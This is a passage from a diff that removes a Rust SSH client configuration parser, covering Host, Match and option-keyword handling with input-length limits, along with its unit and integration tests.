} - - // Parse configuration option - let (keyword, args) = parse_config_line(line, line_number, MAX_VALUE_LENGTH)?; - - if keyword.is_empty() { - continue; - } - - // Apply option to current config block - if in_match_block { - if let Some(ref mut match_block) = current_match { - parse_option(&mut match_block.config, &keyword, &args, line_number) - .with_context(|| format!("Error at line {line_number}: {line}"))?; - } - } else if let Some(ref mut config) = current_config { - parse_option(config, &keyword, &args, line_number) - .with_context(|| format!("Error at line {line_number}: {line}"))?; - } else { - // Global option outside any block - // In OpenSSH, these set defaults but we're ignoring them for now - tracing::debug!( - "Ignoring global option '{}' at line {}", - keyword, - line_number - ); - } - } - - // Don't forget the last config - if let Some(config) = current_config { - configs.push(config); - } - if let Some(match_block) = current_match { - configs.push(match_block.config); - } - - Ok(configs) -} - -/// Parse a Host directive line -fn parse_host_line(line: &str, line_number: usize) -> Result> { - let line = line.trim(); - - // Support both "Host pattern" and "Host=pattern" syntax - let patterns_str = if let Some(pos) = line.find('=') { - // Host=pattern syntax - if line[..pos].trim().to_lowercase() != "host" { - anyhow::bail!("Invalid Host directive at line {}", line_number); - } - line[pos + 1..].trim() - } else { - // Host pattern syntax - let parts: Vec<&str> = line.split_whitespace().collect(); - if parts.is_empty() || parts[0].to_lowercase() != "host" { - anyhow::bail!("Invalid Host directive at line {}", line_number); - } - if parts.len() < 2 { - anyhow::bail!( - "Host directive requires at least one pattern at line {}", - line_number - ); - } - // Join all parts after "Host" - line[parts[0].len()..].trim() - }; - - if patterns_str.is_empty() { - anyhow::bail!( - "Host directive requires at least one pattern at line {}", - line_number - ); - } - - // Split into individual patterns - let patterns: Vec = patterns_str - .split_whitespace() - .map(|s| s.to_string()) - .collect(); - - Ok(patterns) -} - -/// Parse a configuration line into keyword and arguments -fn parse_config_line( - line: &str, - line_number: usize, - max_value_length: usize, -) -> Result<(String, Vec)> { - let line = line.trim(); - - // Determine if using equals syntax - let eq_pos = line.find('='); - let uses_equals_syntax = if let Some(pos) = eq_pos { - // Has equals sign - extract first word to check - let prefix = &line[..pos]; - let first_word = prefix - .split_whitespace() - .next() - .unwrap_or("") - .to_lowercase(); - // Host and Match never use equals syntax - !matches!(first_word.as_str(), "host" | "match") - } else { - false - }; - - let (keyword, args) = if let Some(pos) = eq_pos.filter(|_| uses_equals_syntax) { - // Option=Value syntax - let key_part = line[..pos].trim(); - let value_part = &line[pos + 1..]; - - if key_part.is_empty() { - return Ok((String::new(), vec![])); - } - - let trimmed_value = value_part.trim(); - - // Security: Check value length - if trimmed_value.len() > max_value_length { - anyhow::bail!( - "Value at line {} exceeds maximum length of {} bytes", - line_number, - max_value_length - ); - } - - let args = if trimmed_value.is_empty() { - vec![] - } else { - // Special handling for comma-separated options - match key_part.to_lowercase().as_str() { - "ciphers" - | "macs" - | "hostkeyalgorithms" - | "kexalgorithms" - | "preferredauthentications" - | "protocol" => trimmed_value - .split(',') - .map(|s| s.trim().to_string()) - .collect(), - _ => vec![trimmed_value.to_string()], - } - }; - - (key_part.to_lowercase(), args) - } else { - // Option Value syntax (space-separated) - let mut parts = line.split_whitespace(); - let keyword = parts.next().unwrap_or("").to_lowercase(); - let args: Vec = parts.map(|s| s.to_string()).collect(); - (keyword, args) - }; - - Ok((keyword, args)) -} - -/// Parse a configuration option for a host -pub(super) fn parse_option( - host: &mut SshHostConfig, - keyword: &str, - args: &[String], - line_number: usize, -) -> Result<()> { - match keyword { - "hostname" => { - if args.is_empty() { - anyhow::bail!("HostName requires a value at line {line_number}"); - } - host.hostname = Some(args[0].clone()); - } - "user" => { - if args.is_empty() { - anyhow::bail!("User requires a value at line {line_number}"); - } - host.user = Some(args[0].clone()); - } - "port" => { - if args.is_empty() { - anyhow::bail!("Port requires a value at line {line_number}"); - } - let port: u16 = args[0].parse().with_context(|| { - format!("Invalid port number '{}' at line {}", args[0], line_number) - })?; - host.port = Some(port); - } - "identityfile" => { - if args.is_empty() { - anyhow::bail!("IdentityFile requires a value at line {line_number}"); - } - let path = secure_validate_path(&args[0], "identity", line_number) - .with_context(|| format!("Invalid IdentityFile path at line {line_number}"))?; - host.identity_files.push(path); - } - "identitiesonly" => { - if args.is_empty() { - anyhow::bail!("IdentitiesOnly requires a value at line {line_number}"); - } - // Parse yes/no and store in identity_files behavior (implicit) - let value = parse_yes_no(&args[0], line_number)?; - if value { - // When IdentitiesOnly is yes, clear default identity files - // This is handled during resolution - } - } - "proxyjump" => { - if args.is_empty() { - anyhow::bail!("ProxyJump requires a value at line {line_number}"); - } - host.proxy_jump = Some(args.join(" ")); - } - "proxycommand" => { - if args.is_empty() { - anyhow::bail!("ProxyCommand requires a value at line {line_number}"); - } - let command = args.join(" "); - validate_executable_string(&command, "ProxyCommand", line_number)?; - host.proxy_command = Some(command); - } - "stricthostkeychecking" => { - if args.is_empty() { - anyhow::bail!("StrictHostKeyChecking requires a value at line {line_number}"); - } - host.strict_host_key_checking = Some(args[0].clone()); - } - "userknownhostsfile" => { - if args.is_empty() { - anyhow::bail!("UserKnownHostsFile requires a value at line {line_number}"); - } - let path = - secure_validate_path(&args[0], "known_hosts", line_number).with_context(|| { - format!("Invalid UserKnownHostsFile path at line {line_number}") - })?; - host.user_known_hosts_file = Some(path); - } - "globalknownhostsfile" => { - if args.is_empty() { - anyhow::bail!("GlobalKnownHostsFile requires a value at line {line_number}"); - } - let path = - secure_validate_path(&args[0], "known_hosts", line_number).with_context(|| { - format!("Invalid GlobalKnownHostsFile path at line {line_number}") - })?; - host.global_known_hosts_file = Some(path); - } - "forwardagent" => { - if args.is_empty() { - anyhow::bail!("ForwardAgent requires a value at line {line_number}"); - } - host.forward_agent = Some(parse_yes_no(&args[0], line_number)?); - } - "forwardx11" => { - if args.is_empty() { - anyhow::bail!("ForwardX11 requires a value at line {line_number}"); - } - host.forward_x11 = Some(parse_yes_no(&args[0], line_number)?); - } - "serveraliveinterval" => { - if args.is_empty() { - anyhow::bail!("ServerAliveInterval requires a value at line {line_number}"); - } - let interval: u32 = args[0].parse().with_context(|| { - format!( - "Invalid ServerAliveInterval value '{}' at line {}", - args[0], line_number - ) - })?; - host.server_alive_interval = Some(interval); - } - "serveralivecountmax" => { - if args.is_empty() { - anyhow::bail!("ServerAliveCountMax requires a value at line {line_number}"); - } - let count: u32 = args[0].parse().with_context(|| { - format!( - "Invalid ServerAliveCountMax value '{}' at line {}", - args[0], line_number - ) - })?; - host.server_alive_count_max = Some(count); - } - "connecttimeout" => { - if args.is_empty() { - anyhow::bail!("ConnectTimeout requires a value at line {line_number}"); - } - let timeout: u32 = args[0].parse().with_context(|| { - format!( - "Invalid ConnectTimeout value '{}' at line {}", - args[0], line_number - ) - })?; - host.connect_timeout = Some(timeout); - } - "connectionattempts" => { - if args.is_empty() { - anyhow::bail!("ConnectionAttempts requires a value at line {line_number}"); - } - let attempts: u32 = args[0].parse().with_context(|| { - format!( - "Invalid ConnectionAttempts value '{}' at line {}", - args[0], line_number - ) - })?; - host.connection_attempts = Some(attempts); - } - "batchmode" => { - if args.is_empty() { - anyhow::bail!("BatchMode requires a value at line {line_number}"); - } - host.batch_mode = Some(parse_yes_no(&args[0], line_number)?); - } - "compression" => { - if args.is_empty() { - anyhow::bail!("Compression requires a value at line {line_number}"); - } - host.compression = Some(parse_yes_no(&args[0], line_number)?); - } - "tcpkeepalive" => { - if args.is_empty() { - anyhow::bail!("TCPKeepAlive requires a value at line {line_number}"); - } - host.tcp_keep_alive = Some(parse_yes_no(&args[0], line_number)?); - } - "preferredauthentications" => { - if args.is_empty() { - anyhow::bail!("PreferredAuthentications requires a value at line {line_number}"); - } - host.preferred_authentications = args - .join(",") - .split(',') - .map(|s| s.trim().to_string()) - .collect(); - } - "pubkeyauthentication" => { - if args.is_empty() { - anyhow::bail!("PubkeyAuthentication requires a value at line {line_number}"); - } - host.pubkey_authentication = Some(parse_yes_no(&args[0], line_number)?); - } - "passwordauthentication" => { - if args.is_empty() { - anyhow::bail!("PasswordAuthentication requires a value at line {line_number}"); - } - host.password_authentication = Some(parse_yes_no(&args[0], line_number)?); - } - "kbdinteractiveauthentication" => { - if args.is_empty() { - anyhow::bail!( - "KbdInteractiveAuthentication requires a value at line {line_number}" - ); - } - host.keyboard_interactive_authentication = Some(parse_yes_no(&args[0], line_number)?); - } - "gssapiauthentication" => { - if args.is_empty() { - anyhow::bail!("GSSAPIAuthentication requires a value at line {line_number}"); - } - host.gssapi_authentication = Some(parse_yes_no(&args[0], line_number)?); - } - "hostkeyalgorithms" => { - if args.is_empty() { - anyhow::bail!("HostKeyAlgorithms requires a value at line {line_number}"); - } - host.host_key_algorithms = args - .join(",") - .split(',') - .map(|s| s.trim().to_string()) - .collect(); - } - "kexalgorithms" => { - if args.is_empty() { - anyhow::bail!("KexAlgorithms requires a value at line {line_number}"); - } - host.kex_algorithms = args - .join(",") - .split(',') - .map(|s| s.trim().to_string()) - .collect(); - } - "ciphers" => { - if args.is_empty() { - anyhow::bail!("Ciphers requires a value at line {line_number}"); - } - host.ciphers = args - .join(",") - .split(',') - .map(|s| s.trim().to_string()) - .collect(); - } - "macs" => { - if args.is_empty() { - anyhow::bail!("MACs requires a value at line {line_number}"); - } - host.macs = args - .join(",") - .split(',') - .map(|s| s.trim().to_string()) - .collect(); - } - "sendenv" => { - if args.is_empty() { - anyhow::bail!("SendEnv requires a value at line {line_number}"); - } - host.send_env.extend(args.iter().map(|s| s.to_string())); - } - "setenv" => { - if args.is_empty() { - anyhow::bail!("SetEnv requires at least one name=value pair at line {line_number}"); - } - // SetEnv can have multiple name=value pairs - // If we have a single arg (from equals syntax), it might contain multiple pairs - let pairs: Vec<&str> = if args.len() == 1 && args[0].contains('=') { - // Single arg from equals syntax - might have multiple name=value pairs - args[0].split_whitespace().collect() - } else { - // Multiple args from space syntax - convert to &str references - args.iter().map(String::as_str).collect() - }; - - for pair in pairs { - if let Some(eq_pos) = pair.find('=') { - let name = pair[..eq_pos].to_string(); - let value = pair[eq_pos + 1..].to_string(); - host.set_env.insert(name, value); - } else { - anyhow::bail!( - "Invalid SetEnv format '{pair}' at line {line_number} (expected name=value)" - ); - } - } - } - "localforward" => { - if args.is_empty() { - anyhow::bail!("LocalForward requires a value at line {line_number}"); - } - host.local_forward.push(args.join(" ")); - } - "remoteforward" => { - if args.is_empty() { - anyhow::bail!("RemoteForward requires a value at line {line_number}"); - } - host.remote_forward.push(args.join(" ")); - } - "dynamicforward" => { - if args.is_empty() { - anyhow::bail!("DynamicForward requires a value at line {line_number}"); - } - host.dynamic_forward.push(args.join(" ")); - } - "requesttty" => { - if args.is_empty() { - anyhow::bail!("RequestTTY requires a value at line {line_number}"); - } - host.request_tty = Some(args[0].clone()); - } - "escapechar" => { - if args.is_empty() { - anyhow::bail!("EscapeChar requires a value at line {line_number}"); - } - host.escape_char = Some(args[0].clone()); - } - "loglevel" => { - if args.is_empty() { - anyhow::bail!("LogLevel requires a value at line {line_number}"); - } - host.log_level = Some(args[0].clone()); - } - "syslogfacility" => { - if args.is_empty() { - anyhow::bail!("SyslogFacility requires a value at line {line_number}"); - } - host.syslog_facility = Some(args[0].clone()); - } - "protocol" => { - if args.is_empty() { - anyhow::bail!("Protocol requires a value at line {line_number}"); - } - host.protocol = args - .join(",") - .split(',') - .map(|s| s.trim().to_string()) - .collect(); - } - "addressfamily" => { - if args.is_empty() { - anyhow::bail!("AddressFamily requires a value at line {line_number}"); - } - host.address_family = Some(args[0].clone()); - } - "bindaddress" => { - if args.is_empty() { - anyhow::bail!("BindAddress requires a value at line {line_number}"); - } - host.bind_address = Some(args[0].clone()); - } - "clearallforwardings" => { - if args.is_empty() { - anyhow::bail!("ClearAllForwardings requires a value at line {line_number}"); - } - host.clear_all_forwardings = Some(parse_yes_no(&args[0], line_number)?); - } - "controlmaster" => { - if args.is_empty() { - anyhow::bail!("ControlMaster requires a value at line {line_number}"); - } - host.control_master = Some(args[0].clone()); - } - "controlpath" => { - if args.is_empty() { - anyhow::bail!("ControlPath requires a value at line {line_number}"); - } - let path = args[0].clone(); - // ControlPath has different validation - it allows SSH substitution patterns - validate_control_path(&path, line_number)?; - host.control_path = Some(path); - } - "controlpersist" => { - if args.is_empty() { - anyhow::bail!("ControlPersist requires a value at line {line_number}"); - } - host.control_persist = Some(args[0].clone()); - } - "certificatefile" => { - if args.is_empty() { - anyhow::bail!("CertificateFile requires a value at line {line_number}"); - } - let path = secure_validate_path(&args[0], "certificate", line_number) - .with_context(|| format!("Invalid CertificateFile path at line {line_number}"))?; - host.certificate_files.push(path); - } - "casignaturealgorithms" => { - if args.is_empty() { - anyhow::bail!("CASignatureAlgorithms requires a value at line {line_number}"); - } - // Security: Limit the number of algorithms to prevent memory exhaustion - const MAX_ALGORITHMS: usize = 50; - let algorithms: Vec = args - .join(",") - .split(',') - .map(|s| s.trim().to_string()) - .filter(|s| !s.is_empty()) // Skip empty strings from malformed input - .take(MAX_ALGORITHMS) - .collect(); - - if args.join(",").split(',').count() > MAX_ALGORITHMS { - tracing::warn!( - "CASignatureAlgorithms at line {} contains more than {} algorithms, truncated to first {}", - line_number, MAX_ALGORITHMS, MAX_ALGORITHMS - ); - } - - host.ca_signature_algorithms = algorithms; - } - "gatewayports" => { - if args.is_empty() { - anyhow::bail!("GatewayPorts requires a value at line {line_number}"); - } - // Validate GatewayPorts value (yes, no, or clientspecified) - let value = args[0].to_lowercase(); - match value.as_str() { - "yes" | "no" | "clientspecified" => { - host.gateway_ports = Some(value); - } - _ => { - anyhow::bail!( - "Invalid GatewayPorts value '{}' at line {} (expected yes, no, or clientspecified)", - args[0], - line_number - ); - } - } - } - "exitonforwardfailure" => { - if args.is_empty() { - anyhow::bail!("ExitOnForwardFailure requires a value at line {line_number}"); - } - host.exit_on_forward_failure = Some(parse_yes_no(&args[0], line_number)?); - } - "permitremoteopen" => { - if args.is_empty() { - anyhow::bail!("PermitRemoteOpen requires at least one value at line {line_number}"); - } - // PermitRemoteOpen can have multiple host:port patterns or special values - // Support both space-separated and single value - host.permit_remote_open - .extend(args.iter().map(|s| s.to_string())); - } - "hostbasedauthentication" => { - if args.is_empty() { - anyhow::bail!("HostbasedAuthentication requires a value at line {line_number}"); - } - host.hostbased_authentication = Some(parse_yes_no(&args[0], line_number)?); - } - "hostbasedacceptedalgorithms" => { - if args.is_empty() { - anyhow::bail!("HostbasedAcceptedAlgorithms requires a value at line {line_number}"); - } - // Security: Limit the number of algorithms to prevent memory exhaustion - const MAX_ALGORITHMS: usize = 50; - let algorithms: Vec = args - .join(",") - .split(',') - .map(|s| s.trim().to_string()) - .filter(|s| !s.is_empty()) // Skip empty strings from malformed input - .take(MAX_ALGORITHMS) - .collect(); - - if args.join(",").split(',').count() > MAX_ALGORITHMS { - tracing::warn!( - "HostbasedAcceptedAlgorithms at line {} contains more than {} algorithms, truncated to first {}", - line_number, MAX_ALGORITHMS, MAX_ALGORITHMS - ); - } - - host.hostbased_accepted_algorithms = algorithms; - } - _ => { - // Unknown option - log a warning but continue - tracing::warn!( - "Unknown SSH config option '{}' at line {}", - keyword, - line_number - ); - } - } - - Ok(()) -} - -/// Parse yes/no boolean values from SSH configuration -pub(super) fn parse_yes_no(value: &str, line_number: usize) -> Result { - match value.to_lowercase().as_str() { - "yes" | "true" | "1" => Ok(true), - "no" | "false" | "0" => Ok(false), - _ => { - anyhow::bail!("Invalid yes/no value '{value}' at line {line_number} (expected yes/no)") - } - } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_parse_yes_no_values() { - assert!(parse_yes_no("yes", 1).unwrap()); - assert!(parse_yes_no("true", 1).unwrap()); - assert!(parse_yes_no("1", 1).unwrap()); - assert!(!parse_yes_no("no", 1).unwrap()); - assert!(!parse_yes_no("false", 1).unwrap()); - assert!(!parse_yes_no("0", 1).unwrap()); - assert!(parse_yes_no("invalid", 1).is_err()); - } - - #[test] - fn test_parse_single_host() { - let content = r#" -Host example.com - User testuser - Port 2222 -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].host_patterns, vec!["example.com"]); - assert_eq!(hosts[0].user, Some("testuser".to_string())); - assert_eq!(hosts[0].port, Some(2222)); - } - - #[test] - fn test_parse_match_block() { - let content = r#" -Match host *.example.com user admin - ForwardAgent yes - Port 2222 - -Host web.example.com - User webuser -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 2); - - // First should be the Match block - match &hosts[0].block_type { - Some(ConfigBlock::Match(conditions)) => { - assert_eq!(conditions.len(), 2); - } - _ => panic!("Expected Match block"), - } - assert_eq!(hosts[0].forward_agent, Some(true)); - assert_eq!(hosts[0].port, Some(2222)); - - // Second should be the Host block - assert_eq!(hosts[1].host_patterns, vec!["web.example.com"]); - assert_eq!(hosts[1].user, Some("webuser".to_string())); - } - - #[test] - fn test_parse_multiple_patterns() { - let content = r#" -Host web*.example.com *.test.com - User webuser -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!( - hosts[0].host_patterns, - vec!["web*.example.com", "*.test.com"] - ); - assert_eq!(hosts[0].user, Some("webuser".to_string())); - } - - #[test] - fn test_parse_comments_and_empty_lines() { - let content = r#" -# This is a comment -Host example.com - # Another comment - User testuser - - Port 2222 - -# Final comment -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].host_patterns, vec!["example.com"]); - assert_eq!(hosts[0].user, Some("testuser".to_string())); - assert_eq!(hosts[0].port, Some(2222)); - } - - #[test] - fn test_parse_equals_syntax() { - // Test Option=Value syntax - let content = r#" -Host example.com - User=testuser - Port=2222 - HostName=actual.example.com -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].host_patterns, vec!["example.com"]); - assert_eq!(hosts[0].user, Some("testuser".to_string())); - assert_eq!(hosts[0].port, Some(2222)); - assert_eq!(hosts[0].hostname, Some("actual.example.com".to_string())); - } - - #[test] - fn test_parse_mixed_syntax() { - // Test mixing both syntaxes in same config - let content = r#" -Host example.com - User testuser - Port=2222 - HostName = actual.example.com - ForwardAgent yes -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].host_patterns, vec!["example.com"]); - assert_eq!(hosts[0].user, Some("testuser".to_string())); - assert_eq!(hosts[0].port, Some(2222)); - assert_eq!(hosts[0].hostname, Some("actual.example.com".to_string())); - assert_eq!(hosts[0].forward_agent, Some(true)); - } - - #[test] - fn test_parse_match_all() { - let content = r#" -Match all - ServerAliveInterval 60 - ServerAliveCountMax 3 -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - - match &hosts[0].block_type { - Some(ConfigBlock::Match(conditions)) => { - assert_eq!(conditions.len(), 1); - assert_eq!(conditions[0], MatchCondition::All); - } - _ => panic!("Expected Match block"), - } - assert_eq!(hosts[0].server_alive_interval, Some(60)); - assert_eq!(hosts[0].server_alive_count_max, Some(3)); - } - - #[test] - fn test_parse_match_with_exec() { - let content = r#" -Match exec "test -f /tmp/vpn" - ProxyJump vpn-gateway -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - - match &hosts[0].block_type { - Some(ConfigBlock::Match(conditions)) => { - assert_eq!(conditions.len(), 1); - match &conditions[0] { - MatchCondition::Exec(cmd) => { - assert_eq!(cmd, "test -f /tmp/vpn"); - } - _ => panic!("Expected Exec condition"), - } - } - _ => panic!("Expected Match block"), - } - assert_eq!(hosts[0].proxy_jump, Some("vpn-gateway".to_string())); - } - - #[test] - fn test_parse_include_directive_skipped() { - // Include directives should be skipped in direct parse mode - let content = r#" -Include ~/.ssh/config.d/* - -Host example.com - User testuser -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].host_patterns, vec!["example.com"]); - assert_eq!(hosts[0].user, Some("testuser".to_string())); - } - - #[test] - fn test_parse_global_options_ignored() { - // Global options should be ignored for now - let content = r#" -User globaluser -Port 22 - -Host example.com - User hostuser - -Host *.example.org - Port 2222 -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 2); - assert_eq!(hosts[0].user, Some("hostuser".to_string())); - assert_eq!(hosts[0].port, None); // Global port not inherited - assert_eq!(hosts[1].port, Some(2222)); - assert_eq!(hosts[1].user, None); // Global user not inherited - } - - #[test] - fn test_parse_case_insensitive_keywords() { - // Test that keywords are case-insensitive - let content = r#" -Host example.com - USER=testuser - Port=2222 - hostname=server.com - FORWARDAGENT=yes -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].user, Some("testuser".to_string())); - assert_eq!(hosts[0].port, Some(2222)); - assert_eq!(hosts[0].hostname, Some("server.com".to_string())); - assert_eq!(hosts[0].forward_agent, Some(true)); - } - - // Additional tests for edge cases - #[test] - fn test_parse_very_long_line() { - // Test line length limit enforcement - let long_line = "User=".to_string() + &"a".repeat(9000); - let content = format!("Host example.com\n {}", long_line); - let result = parse(&content); - assert!(result.is_err()); - assert!(result - .unwrap_err() - .to_string() - .contains("exceeds maximum length")); - } - - #[test] - fn test_parse_very_long_value() { - // Test value length limit enforcement - let long_value = "a".repeat(5000); - let content = format!("Host example.com\n User={}", long_value); - let result = parse(&content); - assert!(result.is_err()); - assert!(result - .unwrap_err() - .to_string() - .contains("exceeds maximum length")); - } - - // Integration tests for Include + Match scenarios - #[tokio::test] - async fn test_include_with_match_blocks() { - use crate::ssh::ssh_config::types::ConfigBlock; - use std::fs; - use tempfile::TempDir; - - let temp_dir = TempDir::new().unwrap(); - - // Create an included file with Match blocks - let include_file = temp_dir.path().join("match_rules.conf"); - let include_content = r#" -Match host *.prod.example.com user admin - ForwardAgent yes - Port 2222 - -Match localuser developer - RequestTTY yes -"#; - fs::write(&include_file, include_content).unwrap(); - - // Create main config that includes the Match rules - let main_config = temp_dir.path().join("config"); - let main_content = format!( - r#" -Include {} - -Host example.com - User testuser - Port 22 -"#, - include_file.display() - ); - fs::write(&main_config, &main_content).unwrap(); - - // Parse the configuration - let config = crate::ssh::ssh_config::SshConfig::load_from_file(&main_config) - .await - .unwrap(); - - // Should have 3 blocks: Include directive inserts files at Include location - // Expected order (per SSH spec): Included files first, then rest of main config - assert_eq!(config.hosts.len(), 3); - - // First should be Match host + user from included file (inserted at Include location) - match &config.hosts[0].block_type { - Some(ConfigBlock::Match(conditions)) => { - assert_eq!(conditions.len(), 2); - } - _ => panic!("Expected Match block at index 0"), - } - assert_eq!(config.hosts[0].forward_agent, Some(true)); - assert_eq!(config.hosts[0].port, Some(2222)); - - // Second should be Match localuser from included file - match &config.hosts[1].block_type { - Some(ConfigBlock::Match(conditions)) => { - assert_eq!(conditions.len(), 1); - } - _ => panic!("Expected Match block at index 1"), - } - assert_eq!(config.hosts[1].request_tty, Some("yes".to_string())); - - // Third is the Host block from main config (after Include directive) - assert_eq!(config.hosts[2].host_patterns, vec!["example.com"]); - assert_eq!(config.hosts[2].user, Some("testuser".to_string())); - assert_eq!(config.hosts[2].port, Some(22)); - } - - #[tokio::test] - async fn test_nested_includes_with_match() { - use crate::ssh::ssh_config::match_directive::MatchCondition; - use crate::ssh::ssh_config::types::ConfigBlock; - use std::fs; - use tempfile::TempDir; - - let temp_dir = TempDir::new().unwrap(); - - // Create a deeply included file with Host config - let deep_include = temp_dir.path().join("deep.conf"); - fs::write( - &deep_include, - r#" -Host deep.example.com - User deepuser - Port 3333 -"#, - ) - .unwrap(); - - // Create a middle include with Match and Include - let middle_include = temp_dir.path().join("middle.conf"); - fs::write( - &middle_include, - format!( - r#" -Match host *.dev.example.com - ForwardAgent no - Port 2222 - -Include {} -"#, - deep_include.display() - ), - ) - .unwrap(); - - // Create main config - let main_config = temp_dir.path().join("config"); - fs::write( - &main_config, - format!( - r#" -Host *.example.com - User defaultuser - -Include {} - -Match all - ServerAliveInterval 60 -"#, - middle_include.display() - ), - ) - .unwrap(); - - // Parse the configuration - let config = crate::ssh::ssh_config::SshConfig::load_from_file(&main_config) - .await - .unwrap(); - - // Should have 4 blocks in SSH spec order - assert_eq!(config.hosts.len(), 4); - - // Verify the order and content - assert_eq!(config.hosts[0].host_patterns, vec!["*.example.com"]); - assert_eq!(config.hosts[0].user, Some("defaultuser".to_string())); - - match &config.hosts[1].block_type { - Some(ConfigBlock::Match(_)) => { - assert_eq!(config.hosts[1].forward_agent, Some(false)); - assert_eq!(config.hosts[1].port, Some(2222)); - } - _ => panic!("Expected Match block"), - } - - assert_eq!(config.hosts[2].host_patterns, vec!["deep.example.com"]); - assert_eq!(config.hosts[2].user, Some("deepuser".to_string())); - - match &config.hosts[3].block_type { - Some(ConfigBlock::Match(conditions)) => { - assert_eq!(conditions.len(), 1); - assert_eq!(conditions[0], MatchCondition::All); - } - _ => panic!("Expected Match all block"), - } - assert_eq!(config.hosts[3].server_alive_interval, Some(60)); - } - - #[test] - fn test_match_resolution_with_host() { - use crate::ssh::ssh_config::types::ConfigBlock; - - // Test that Match conditions are properly evaluated alongside Host patterns - let content = r#" -Host *.example.com - User defaultuser - Port 22 - -Match host web*.example.com user admin - Port 8080 - ForwardAgent yes - -Host db.example.com - User dbuser - Port 5432 -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 3); - - // Verify Host block - assert_eq!(hosts[0].host_patterns, vec!["*.example.com"]); - assert_eq!(hosts[0].user, Some("defaultuser".to_string())); - - // Verify Match block - match &hosts[1].block_type { - Some(ConfigBlock::Match(conditions)) => { - assert_eq!(conditions.len(), 2); - } - _ => panic!("Expected Match block"), - } - assert_eq!(hosts[1].port, Some(8080)); - assert_eq!(hosts[1].forward_agent, Some(true)); - - // Verify specific Host block - assert_eq!(hosts[2].host_patterns, vec!["db.example.com"]); - assert_eq!(hosts[2].user, Some("dbuser".to_string())); - assert_eq!(hosts[2].port, Some(5432)); - } - - #[test] - fn test_parse_certificate_file() { - let content = r#" -Host example.com - CertificateFile ~/.ssh/id_rsa-cert.pub - CertificateFile /etc/ssh/host-cert.pub -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].certificate_files.len(), 2); - // Paths should be validated and stored - assert!(hosts[0].certificate_files[0] - .to_string_lossy() - .contains("id_rsa-cert.pub")); - assert!(hosts[0].certificate_files[1] - .to_string_lossy() - .contains("host-cert.pub")); - } - - #[test] - fn test_parse_certificate_file_with_equals() { - // Test Option=Value syntax - let content = r#" -Host example.com - CertificateFile=~/.ssh/id_ed25519-cert.pub -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].certificate_files.len(), 1); - assert!(hosts[0].certificate_files[0] - .to_string_lossy() - .contains("id_ed25519-cert.pub")); - } - - #[test] - fn test_parse_ca_signature_algorithms() { - let content = r#" -Host example.com - CASignatureAlgorithms ssh-ed25519,rsa-sha2-512,rsa-sha2-256 -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].ca_signature_algorithms.len(), 3); - assert_eq!(hosts[0].ca_signature_algorithms[0], "ssh-ed25519"); - assert_eq!(hosts[0].ca_signature_algorithms[1], "rsa-sha2-512"); - assert_eq!(hosts[0].ca_signature_algorithms[2], "rsa-sha2-256"); - } - - #[test] - fn test_parse_ca_signature_algorithms_with_spaces() { - // Test space-separated algorithms (each becomes separate arg, joined with commas, then split) - let content = r#" -Host example.com - CASignatureAlgorithms ssh-ed25519 rsa-sha2-512 rsa-sha2-256 -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].ca_signature_algorithms.len(), 3); - assert_eq!(hosts[0].ca_signature_algorithms[0], "ssh-ed25519"); - assert_eq!(hosts[0].ca_signature_algorithms[1], "rsa-sha2-512"); - assert_eq!(hosts[0].ca_signature_algorithms[2], "rsa-sha2-256"); - } - - #[test] - fn test_parse_ca_signature_algorithms_with_equals() { - let content = r#" -Host example.com - CASignatureAlgorithms=ecdsa-sha2-nistp256,ecdsa-sha2-nistp384 -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].ca_signature_algorithms.len(), 2); - assert_eq!(hosts[0].ca_signature_algorithms[0], "ecdsa-sha2-nistp256"); - assert_eq!(hosts[0].ca_signature_algorithms[1], "ecdsa-sha2-nistp384"); - } - - #[test] - fn test_parse_gateway_ports_yes() { - let content = r#" -Host example.com - GatewayPorts yes -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].gateway_ports, Some("yes".to_string())); - } - - #[test] - fn test_parse_gateway_ports_no() { - let content = r#" -Host example.com - GatewayPorts no -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].gateway_ports, Some("no".to_string())); - } - - #[test] - fn test_parse_gateway_ports_clientspecified() { - let content = r#" -Host example.com - GatewayPorts clientspecified -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].gateway_ports, Some("clientspecified".to_string())); - } - - #[test] - fn test_parse_gateway_ports_case_insensitive() { - // Should normalize to lowercase - let content = r#" -Host example.com - GatewayPorts ClientSpecified -"#; - let hosts = parse(content).unwrap(); - assert_eq!(hosts.len(), 1); - assert_eq!(hosts[0].gateway_ports, Some("clientspecified".to_string())); - } - - #[test] - fn test_parse_gateway_ports_invalid() { - let content = r#" -Host example.com - GatewayPorts invalid -"#; - let result = parse(content); - assert!(result.is_err()); - let err_msg = result.unwrap_err().to_string(); - // Error should mention GatewayPorts and the invalid value - assert!(err_msg.contains("GatewayPorts") || err_msg.contains("gatewayports")); - assert!(err_msg.contains("invalid")); - } - - #[test] - fn 